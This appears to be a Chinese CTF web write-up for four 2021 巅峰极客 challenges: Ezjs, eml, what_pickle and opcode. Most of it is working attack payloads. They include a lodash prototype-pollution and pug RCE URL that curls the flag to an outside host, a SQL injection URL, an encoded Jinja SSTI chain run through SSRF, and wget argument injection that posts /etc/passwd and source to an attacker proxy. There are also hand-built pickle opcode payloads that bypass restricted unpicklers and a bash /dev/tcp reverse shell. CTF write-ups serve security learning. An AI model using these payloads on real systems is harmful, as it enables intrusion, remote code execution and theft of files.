-
Ezjs
-
eml
-
what_pickle
-
opcode
-
原本解法
又复习了一遍python的pickle,学到了不少新知识
Web
Ezjs
随便登录进去,选择图片的地方可以读取源码
源码中可以看到使用了express-validator
这个包,存在lodash < 4.17.17
原型链污染
https://github.com/NeSE-Team/XNUCA2020Qualifier/blob/main/Web/oooooooldjs/writeup.md
https://paper.seebug.org/1426/#_1
需要注意的是,这里因为没有引入可以解析json的包,所以使用的payload跟文章中的有所区别
对文章中的payload进行删减,可以得到如下的payload:
"].__proto__["isadmin
再看源码的验证admin
的位置
if (req.session.isadmin !== "notadmin") {
if (req.session.debug !== undefined && req.session.debug !== false)
info.pretty = req.query.p;
if (req.query.diy !== undefined) req.session.diy = req.query.diy;
info.diy = req.session.diy ? req.session.diy : "尊贵的admin";
return res.render("admin", info);
} else {
return res.render("admin", info);
}
只验证了isadmin
和debug
与某个值不等,所以污染成空字符串可以绕过
可以看到info.pretty = req.query.p;
这一行非常可疑,去搜可以搜到一个RCE,就是没有回显
https://github.com/pugjs/pug/issues/3312
http://eci-2zei733lpdexwedu8rp1.cloudeci1.ichunqiu.com:8888/admin?p=');process.mainModule.constructor._load('child_process').exec('curl http://xxxxxxx/?a=`tac /root/flag.txt|base64`');_=('
eml
访问 www.zip 下载源码,是个 EML 企业通讯录管理系统,该版本的 EML 企业通讯录管理系统存在一个未授权访问和一个 SQL 注入,详情参考这里:http://diego.team/2021/02/22/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1-EML-MKCMS/。
发现在 you_never_guess_it233337777
目录下有个 xxxxx.php:
<?PHP
// 通往新世界的大门
// 没有内网主机
$URL = $_GET['url'];
$CH = curl_init();
curl_setopt($CH, CURLOPT_URL, $URL);
curl_setopt($CH, CURLOPT_HEADER, FALSE);
curl_setopt($CH, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($CH, CURLOPT_FOLLOWLOCATION, TRUE);
$RES = curl_exec($CH);
curl_close($CH) ;
echo $RES;
?>
应该存在一个 SSRF,但是这个 xxxxx.php 却访问不到。在action.user.php 中发现提示,说根目录里有个 hint.txt
然后按照上面文章里 Payload 直接进行注入读取 /hint.txt:
/index.php?action=user&do=&_SESSION[isLogin]=1&search=union/**/select/**/1,load_file(0x2F68696E742E747874),3,load_file(0x2F68696E74),5,6,7,8,9,10,11,12,13,14,15
得到那个 SSRF 文件的路径:5351bf7271abaa/267e03c9ef6393f13/e03c9ef/67e03c9.php
,然后扫常用端口,发现 5000 端口有 SSTI,有过滤,使用 attr()
一把索:
http://eci-2ze1okxxdjruz6sjbnvx.cloudeci1.ichunqiu.com/5351bf7271abaa/267e03c9ef6393f13/e03c9ef/67e03c9.php?url=http://127.0.0.1:5000/calc?num={{()|attr("u005fu005fu0063u006cu0061u0073u0073u005fu005f")|attr("u005fu005fu0062u0061u0073u0065u005fu005f")|attr("u005fu005fu0073u0075u0062u0063u006cu0061u0073u0073u0065u0073u005fu005f")()|attr("u005fu005fu0067u0065u0074u0069u0074u0065u006du005fu005f")(258)|attr("u005fu005fu0069u006eu0069u0074u005fu005f")|attr("u005fu005fu0067u006cu006fu0062u0061u006cu0073u005fu005f")|attr("u005fu005fu0067u0065u0074u0069u0074u0065u006du005fu005f")("u006fu0073")|attr("u0070u006fu0070u0065u006e")("u0063u0061u0074u0020u002fu0066u0066u0031u0031u0031u0031u0034u0034u0034u0034u0034u0067u0067")|attr("u0072u0065u0061u0064")()}}
得到 flag。
what_pickle
喜闻乐见的手撕python反序列化的时间
先通过wget参数注入把源码读下来
http://eci-2ze3kqdz3nvfik3aaf8b.cloudeci1.ichunqiu.com/images?image=1.jpg&argv=-e http_proxy=http://xxxx:2333&argv=--method=POST&argv=--body-file=/etc/passwd
或者
http://eci-2ze3kqdz3nvfik3aaf8b.cloudeci1.ichunqiu.com/images?image=1.jpg&argv=--input-file=http://xxxxx:2333&argv=--post-file=/etc/passwd
或者
/images?image=&argv=--post-file=/app/app.py&argv=--execute=http_proxy=http://xxxxx
app.py
from flask import Flask, request, session, render_template, url_for,redirect
import pickle
import io
import sys
import base64
import random
import subprocess
from ctypes import cdll
from config import SECRET_KEY, notadmin,user
cdll.LoadLibrary("./readflag.so")
app = Flask(__name__)
app.config.update(dict(
SECRET_KEY=SECRET_KEY,
))
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module in ['config'] and "__" not in name:
return getattr(sys.modules[module], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()
@app.route('/')
@app.route('/index')
def index():
if session.get('username', None):
return redirect(url_for('home'))
else:
return render_template('index.html')
@app.route('/login', methods=["GET"])
def login():
name = request.form.get('username', '')
data = request.form.get('data', 'test')
User = user(name,data)
# 这里我改了一下,具体源码忘记了
session["info"]=base64.b64encode()
return redirect(url_for('home'))
@app.route('/home')
def home():
info = session["info"]
User = restricted_loads(base64.b64decode(info))
Jpg_id = random.randint(1,5)
return render_template('home.html',id = str(Jpg_id), info = User.data)
@app.route('/images')
def images():
command=["wget"]
argv=request.args.getlist('argv')
true_argv=[x if x.startswith("-") else '--'+x for x in argv]
image=request.args['image']
command.extend(true_argv)
command.extend(["-q","-O","-"])
command.append("http://127.0.0.1:8080/"+image)
image_data = subprocess.run(command,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
return image_data.stdout
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=True, port=80)
config.py
SECRET_KEY="On_You_fffffinddddd_thi3_kkkkkkeeEEy"
notadmin={"admin":"no"}
class user():
def __init__(self, username, data):
self.username = username
self.data = data
def backdoor(cmd):
# 这里我也改了一下
print(notadmin)
if isinstance(cmd,list) and notadmin["admin"]=="yes":
s=''.join(cmd)
print("success!")
eval(s)
else:
print("nononono!")
这里首先可以看到,它利用了Python官方手册中给的方式对反序列化的内容进行了一个过滤
限定了只能反序列化config
类,而且调用的方法或属性中不能含有__
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module in ['config'] and "__" not in name:
return getattr(sys.modules[module], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
这就意味着常规的反序列化手段没有用了,但是还好,出题人给我们留了一个后门
def backdoor(cmd):
# 这里我也改了一下
print(notadmin)
if isinstance(cmd,list) and notadmin["admin"]=="yes":
s=''.join(cmd)
print("success!")
eval(s)
else:
print("nononono!")
为了利用这个后门,我们得把config.notadmin
的值改为{"admin":"yes"}
常规思路可以利用__main__
去修改全局变量,这里显然不可以
正当我想手撕的时候,搜索发现已经有大师傅为我们造好了轮子
https://xz.aliyun.com/t/7012#toc-10
exp.py
notadmin = GLOBAL('config', 'notadmin')
notadmin['admin'] = 'yes'
config_backdoor = GLOBAL('config', 'backdoor')
config_backdoor(["__import__('os').popen('whoami').read()"])
return
生成Pickle opcode
验证
#coding=utf-8
import base64
import pickle
import urllib.request
import pickletools
import base64
import config
import io
import sys
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
print(module)
if module in ['config'] and "__" not in name:
return getattr(sys.modules[module], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
data = b"cconfignnotadminnp0n0g0nS'admin'nS'yes'nscconfignbackdoornp2n0g2n((S'__import__(\'os\').popen(\'whoami\').read()'nltR."
data = base64.b64encode(data)
print(data)
result = RestrictedUnpickler(io.BytesIO(base64.b64decode(data))).load()
print(config.notadmin)
注意命令执行没有回显
生成cookie,反弹shell的时候不知道为什么无法执行命令,也没回显,于是就上传的msf马
那个readflag.so
文件,可以看出是把flag文件读到了内存里,但是因为flask是root权限,我们可以直接读取环境变量,找到flag,从而不用去翻内存文件
直接去找环境变量
opcode
跟上一个题比较像,直接读文件
from flask import Flask
from flask import request
from flask import render_template
from flask import session
import base64
import pickle
import io
import builtins
class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit', 'map'}
def find_class(self, module, name):
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
def loads(data):
return RestrictedUnpickler(io.BytesIO(data)).load()
app = Flask(__name__)
app.config['SECRET_KEY'] = "y0u-wi11_neuer_kn0vv-!@#se%32"
@app.route('/admin', methods = ["POST","GET"])
def admin():
if('{}'.format(session['username'])!= 'admin' and str(session['username'] , encoding = "utf-8")!= 'admin'):
return "not admin"
try:
data = base64.b64decode(session['data'])
if "R" in data.decode():
return "nonono"
pickle.loads(data)
except Exception as e:
print(e)
return "success"
@app.route('/login', methods = ["GET","POST"])
def login():
username = request.form.get('username')
password = request.form.get('password')
imagePath = request.form.get('imagePath')
session['username'] = username + password
session['data'] = base64.b64encode(pickle.dumps('hello' + username, protocol=0))
try:
f = open(imagePath,'rb').read()
except Exception as e:
f = open('static/image/error.png','rb').read()
imageBase64 = base64.b64encode(f)
return render_template("login.html", username = username, password = password, data = bytes.decode(imageBase64))
@app.route('/', methods = ["GET","POST"])
def index():
return render_template("index.html")
if __name__ == '__main__':
app.run(host='0.0.0.0', port='8888')
写了个RestrictedUnpickler
,但是根本没用过,直接用pickle.loads(data)
进行反序列化,相当于过滤没写
只过滤了R指令,直接一把梭
参考这里的文章的demo:
-
https://zhuanlan.zhihu.com/p/361349643 -
https://www.freebuf.com/articles/web/264363.html
import base64
raw_data = b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/xxxxxx/2333 0>&1"'
o.'''
res = base64.b64encode(raw_data)
print res
伪造session,反弹shell
原本解法
当然,如果真的按照题目中给的过滤,可以使用如下payload
cbuiltinsngetattrnp0n0cbuiltinsndictnp1n0(g0ng1nS'get'nop2n0cbuiltinsnglobalsnp3n0(g3nop4n0(g2ng4nS'__builtins__'nop5n0(g0ng5nS'eval'nop6n0(g6nS'__import__("os").system("whoami")'no.
#coding=utf-8
import base64
import pickle
import urllib.request
import pickletools
import base64
import io
import sys
class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit', 'map'}
def find_class(self, module, name):
if module == "builtins" and name not in self.blacklist:
return getattr(sys.modules[module], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
data = b'''cbuiltinsngetattrnp0n0cbuiltinsndictnp1n0(g0ng1nS'get'nop2n0cbuiltinsnglobalsnp3n0(g3nop4n0(g2ng4nS'__builtins__'nop5n0(g0ng5nS'eval'nop6n0(g6nS'__import__("os").system("whoami")'no.'''
if b"R" in data:
print("nonono")
exit()
result = RestrictedUnpickler(io.BytesIO(data)).load()
题目原本的意思是限制了类builtins
,以及一堆黑名单,然后再过滤R
先用https://xz.aliyun.com/t/7012#toc-0 中的工具生成只含有类builtins
的payload
getattr = GLOBAL('__builtins__', 'getattr')
dict = GLOBAL('__builtins__', 'dict')
dict_get = getattr(dict, 'get')
globals = GLOBAL('__builtins__', 'globals')
__builtins__ = globals()
____builtins____ = dict_get(__builtins__, '____builtins____')
eval = getattr(____builtins____, 'eval')
eval('__import__("os").system("whoami")')
return
b'cbuiltinsngetattrnp0n0cbuiltinsndictnp1n0g0n(g1nS'get'ntRp2n0cbuiltinsnglobalsnp3n0g3n(tRp4n0g2n(g4nS'__builtins__'ntRp5n0g0n(g5nS'eval'ntRp6n0g6n(S'__import__("os").system("whoami")'ntR.
生成的payload中含有R指令,我们可以手撸payload,把R指令替换掉
可以用o
指令去替换R指令
R | [callable] [tuple] R | 调用一个callable对象 | crandomnRandomn)R |
---|---|---|---|
o | MARK [callable] [args...] o | 同INST,参数获取方式由readline变为stack.pop而已 | (cosnsystemnS'ls'no |
t | MARK [obj...] t | 将栈顶MARK以前的元素弹出构造tuple,再push回栈顶 | (I0nI1nt |
b"(cosnsystemnS'whoami'no."
b"csysnsystemnp0n0g0n(S'whoami'ntR."
通过观察R指令和o指令的参数格式,在调用的callable前添加MARK(即(
),去掉t
指令和调用t指令用到的Mark即可
更改payload
b'cbuiltinsngetattrnp0n0cbuiltinsndictnp1n0g0n(g1nS'get'ntRp2n0cbuiltinsnglobalsnp3n0g3n(tRp4n0g2n(g4nS'__builtins__'ntRp5n0g0n(g5nS'eval'ntRp6n0g6n(S'__import__("os").system("whoami")'ntR.
b'''cbuiltinsngetattrnp0n0cbuiltinsndictnp1n0(g0ng1nS'get'nop2n0cbuiltinsnglobalsnp3n0(g3nop4n0(g2ng4nS'__builtins__'nop5n0(g0ng5nS'eval'nop6n0(g6nS'__import__("os").system("whoami")'no.'''
cbuiltins
getattr
p0
0cbuiltins
dict
p1
0(g0
g1
S'get'
op2
0cbuiltins
globals
p3
0(g3
op4
0(g2
g4
S'__builtins__'
op5
0(g0
g5
S'eval'
op6
0(g6
S'__import__("os").system("whoami")'
o.
本文始发于微信公众号(山警网络空间安全与电子数据取证):2021 巅峰极客 Web Writeup
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论